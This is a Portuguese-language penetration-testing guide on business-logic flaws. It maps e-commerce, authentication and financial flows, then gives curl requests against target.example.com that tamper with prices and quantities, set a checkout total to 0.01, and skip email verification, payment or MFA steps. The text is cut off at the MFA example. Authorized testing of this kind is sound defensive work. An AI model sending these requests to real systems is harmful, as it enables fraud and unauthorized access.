Testando Vulnerabilidades de Lógica de Negócios

Quando Usar

• Durante testes de penetração autorizados quando scanners automatizados encontraram poucas vulnerabilidades técnicas
• Ao avaliar plataformas de e-commerce para manipulações de preços, carrinho e fluxo de pagamento
• Para testar fluxos de trabalho de várias etapas (registro, checkout, processos de aprovação) em busca de oportunidades de bypass
• Ao avaliar recursos com limite de taxa, como vales, cupons, indicações e sistemas de recompensas
• Durante avaliações de segurança de aplicações financeiras, sistemas de votação ou qualquer aplicação com regras de negócios críticas

Pré-requisitos

• Autorização: Acordo de teste de penetração por escrito cobrindo testes de lógica de negócios
• Burp Suite Professional: Para interceptar e modificar fluxos de requisição de várias etapas
• Compreensão da Aplicação: Conhecimento aprofundado dos fluxos de trabalho de negócios pretendidos da aplicação
• Múltiplas contas de teste: Contas em diferentes níveis de privilégio e estados
• DevTools do Navegador: Para examinar a lógica de validação do lado do cliente
• Documentação: Requisitos de negócios ou histórias de usuário descrevendo o comportamento esperado

Fluxo de Trabalho

Etapa 1: Mapear Fluxos de Trabalho e Regras de Negócios

Documente todos os processos de negócios críticos e suas restrições esperadas.

# Critical business flows to map:
# 1. Registration/Onboarding flow
#    - Email verification requirements
#    - Account approval process
#    - Role assignment logic

# 2. E-commerce/Purchase flow
#    - Product selection → Cart → Checkout → Payment → Confirmation
#    - Price calculation logic
#    - Discount/coupon application
#    - Quantity limits
#    - Shipping cost calculation

# 3. Authentication/Authorization flow
#    - Login → MFA → Dashboard
#    - Password reset → Token → New password
#    - Role escalation/approval

# 4. Financial transactions
#    - Balance check → Transfer → Confirmation
#    - Withdrawal limits
#    - Currency conversion

# Document expected constraints:
# - Minimum order amounts
# - Maximum quantity per item
# - Coupon usage limits (one per user)
# - Referral reward caps
# - Withdrawal daily limits
# - Account verification requirements before certain actions

Etapa 2: Testar Manipulação de Preço e Quantidade

Intercepte e modifique os valores de preço, quantidade e total nas requisições.

# Test negative quantity
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
  "https://target.example.com/api/cart/add"

# Test zero price
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 1, "price": 0}' \
  "https://target.example.com/api/cart/add"

# Test extremely large quantity
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 999999999}' \
  "https://target.example.com/api/cart/add"

# Test decimal/float manipulation
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
  "https://target.example.com/api/cart/add"

# Test integer overflow
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 2147483647}' \
  "https://target.example.com/api/cart/add"

# Modify total amount directly in checkout request
# Intercept in Burp and change total from 299.99 to 0.01
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
  "https://target.example.com/api/checkout"

Etapa 3: Testar Bypass de Etapa do Fluxo de Trabalho

Tente pular etapas obrigatórias em processos de várias etapas.

# Pular verificação de e-mail
# Em vez de: Registrar → Verificar e-mail → Acessar painel
# Tente: Registrar → Acessar painel diretamente
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
  "https://target.example.com/api/dashboard"

# Pular etapa de pagamento
# Em vez de: Carrinho → Frete → Pagamento → Confirmação
# Tente: Carrinho → Confirmação (pular pagamento)
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "abc123", "shipping_address": "123 Main St"}' \
  "https://target.example.com/api/orders/confirm"

# Pular etapa de MFA
# Em vez de: Login → MFA → Painel
# Tente: Login → Painel (pular MFA)

…